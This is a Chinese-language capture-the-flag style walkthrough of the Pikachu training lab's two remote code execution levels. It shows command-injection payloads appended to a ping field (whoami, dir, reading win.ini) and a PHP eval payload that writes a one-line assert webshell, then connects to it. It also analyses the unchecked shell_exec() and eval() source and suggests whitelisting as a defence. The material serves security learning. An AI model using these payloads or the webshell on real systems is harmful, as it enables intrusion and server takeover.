漏洞简述

一、什么是RCE?
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

1、远程系统命令执行
出现原因:因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。

比如常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而控制整个后台服务器。

例如:如今很多甲方企业的自动化运维平台,大量的系统操作会通过“自动化运维”平台进行操作,其中往往会出现远程系统命令执行的漏洞。

2、远程代码执行
出现原因:因为需求设计,后台有时候会把用户的输入作为代码的一部分进行执行,也造成了远程代码执行漏洞,不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

防御:如果需要给前端用户提供操作类的API接口,一定需要对接口的输入的内容进行严格的判断,比如实施严格的白名单是一个好的方法。

诚意推荐

这两关都比较简单直白,理论性的内容就不多描述了,这里推荐一些写的比较好的师傅的文章。帮助大家理解学习
链接: RCE远程命令执行学习
链接: https://chybeta.github.io/2017/08/08/php代码-命令执行漏洞/
链接: 远程命令执行/命令注入 之 命令连接符

靶场闯关

第1关 exec “ping”

远程系统命令执行
后台对用户输入的IP地址进行一次 ping 测试,并返回测试结果。
在这里插入图片描述

尝试 ping 一下本地127.0.0.1
可以看到 ping 成功了。
不过这里存在乱码,靶场是放在 Windows 下的,用网上文章上的方法暂时无法解决。这里测试能 ping 成功就行。
在这里插入图片描述
由于windows和linux有3个命令连接符是相同的(|,||,&&),因此在不知道目标的具体操作系统的情况下,可以先用这三种测试。

这次先用管道符(&&)试试吧。命令就用whoami

为啥用whoami命令呢?因为这个命令不但windows和linux系统都支持(windows xp不默认支持,可安装),而且显示的内容不同,不但可以用来判断是否有远程命令执行漏洞,还可以用来判断操作系统(linux系统中显示当前执行操作的用户名windows系统显示当前登录的域名和用户名

还有一点需要注意,命令和连接符之间有没有空格都可以

输入Payload:127.0.0.1 && whoami

成功得到域和用户名:e0c8k97s36f0uri\administrator

同时也知道了操作系统是windows
在这里插入图片描述
输入payload:127.0.0.1 && dir

可以查看当前路径和路径下的文件

在这里插入图片描述
输入payload:127.0.0.1 && type C:\Windows\win.ini

可以查看win.ini文件的内容
在这里插入图片描述

源码分析:

造成这个漏洞的原因可以看一下本关的源代码,如下图,关注一下用户输入的参数值$_POST[‘ipaddress’]的流向。

本关代码中,首先将$ _POST[‘ipaddress’]赋值给$ip,然后直接未经任何处理就将其传入shell_exec()函数执行,造成命令可拼接执行。
在这里插入图片描述

第2关 exec “eval”

远程代码执行
后台把用户的输入作为代码的一部分进行执行,造成了远程代码执行漏洞。
在这里插入图片描述
题目都提示的这么明显了,直接上payload吧。

输入:phpinfo();

phpinfo()函数被执行了
在这里插入图片描述
根据代码执行这个漏洞,我们可以通过此处上传一句话木马。

输入payload:fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');

虽然返回没有什么特别的。
在这里插入图片描述
但是到本关目录下查看发现木马文件已经上传成功。
在这里插入图片描述
使用蚁剑进行连接
在这里插入图片描述
连接成功
在这里插入图片描述

源码分析

打开靶场根目录里的源文件,可以看到不存在任何校验。直接把输入的内容放在 eval() 函数中。
在这里插入图片描述

GitHub 加速计划 / pi / pikachu
5
0
下载
最近提交(Master分支:4 个月前 )
b19bb06d 优化dockerfile 1 年前
3234bfc6 - 1 年前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐